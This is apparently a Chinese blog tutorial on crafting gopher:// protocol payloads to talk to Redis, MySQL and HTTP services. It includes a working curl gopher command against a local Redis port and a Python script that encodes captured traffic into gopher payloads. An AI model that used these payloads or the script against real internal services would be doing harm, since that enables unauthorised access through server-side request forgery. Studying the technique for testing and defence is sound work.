利用gopher协议攻击(生成gopher协议payload)
在百度上搜gopher协议,前几页几乎都是通过gopher协议构造攻击的,但是却很难搜到关于gopher协议的解释了。关于如何构造我也是看了很多篇类似文章自己总结的。
当然我这篇博客主要是介绍如何构造payload的,接下来我就介绍一下如何构造,还会给出python脚本。
gopher协议简述
gopher 协议形如gopher://127.0.0.1:70/_ + 数据
gopher协议默认端口为70,所以如果不指定端口的话它会向70端口发数据。后面的_是必须的,经过我的实验可以为任意字符,并不会传输,代表后面的都是要传输的数据。只要后面的数据构造得当,我们就可以通过gopher协议访问redis、mysql甚至可以发送GET和POST数据。
访问redis
linux 中的curl命令支持gopher协议,后面的演示我们都使用curl来。
既然要访问redis,我们就看看各个指令访问redis需要发送什么样的数据。开始端口转发socat -v tcp-listen:4444,fork tcp-connect:localhost:6379
这一个命令监听4444端口并将4444端口数据转发至6379也就是redis-server端口。
这时我们用redis-cli连接4444端口并且发送指令

一共发了三条指令,先看一下有哪些键值,再设置键值123为“qwer”,然后还获取了一次。我们再看看数据转发接收到了什么数据。

这一来一回正好和我们发送的数据对应,意思是如果我们也和redis-cli一样,将指令转成这样的格式就行了。将keys *
指令转换成gopher协议格式%2a%32%0d%0a%24%34%0d%0a%6b%65%79%73%0d%0a%24%31%0d%0a%2a%0d%0a
整个payload为 curl gopher://127.0.0.1:6379/_%2a%32%0d%0a%24%34%0d%0a%6b%65%79%73%0d%0a%24%31%0d%0a%2a%0d%0a
发送完我们就可以发现它反回了所有键值。
构造payload
我总结出,gopher协议支持urlencode后的%编码。但很多字符用常见的url编码器编码并不会编码,而在我的尝试中部分字符不编码curl协议是无法解析的。所以我建议全部字符都编码。
我写了一个Python脚本 可以将文件内容变成gopher协议合适情况。
#! /usr/bin/env python
# -*- coding: utf-8 -*-
# __author__ = "JrXnm"
# Date: 18-9-29
# gopher协议转化
# 将16进制流或者post数据文件,redis数据文件转化为gopher协议可以发送的形式.
import optparse
def hexs2url(hexstr):
i = 0
while True:
if i % 3 == 0:
hexstr = hexstr[:i] + '%' + hexstr[i:]
i += 1
if i == len(hexstr):
break
print(hexstr)
def getfiletourl(path):
with open(path, 'r') as f:
content = f.read()
hexstr = ''
for i in content:
s = hex(ord(i)).replace('0x', '%')
if len(s)<3:
s = s[:1] + '0' + s[1:]
if s == '%0a':
s = '%0d%0a'
hexstr += s
print(hexstr)
def main():
parse = optparse.OptionParser("usage%prog --hex <target stream> -r <target file path>")
parse.add_option('--hex', dest='hex', type='string', help='specify target stream')
parse.add_option('-r', dest='path', type='string', help='specify target file path')
(options, args) = parse.parse_args()
if options.hex:
hexs2url(options.hex)
if options.path:
getfiletourl(options.path)
if __name__=='__main__':
main()
将要发送的内容保存到一个文件中(如以下向redis-server发送keys *
的指令),运行 python gopher.py -r msg.txt
就可以将文件中的数据转换成gopher协议格式。

访问mysql和发送GET/POST数据
访问mysql可以和上面一样流量转发抓取想要发送指令的传输数据,然后用上面的脚本转换成gopher数据格式即可。
POST 和 GET数据,也很简单,直接浏览器访问burpsuite抓包,或者一切工具抓包保存为文件,形如以下

然后用方法一样就行了。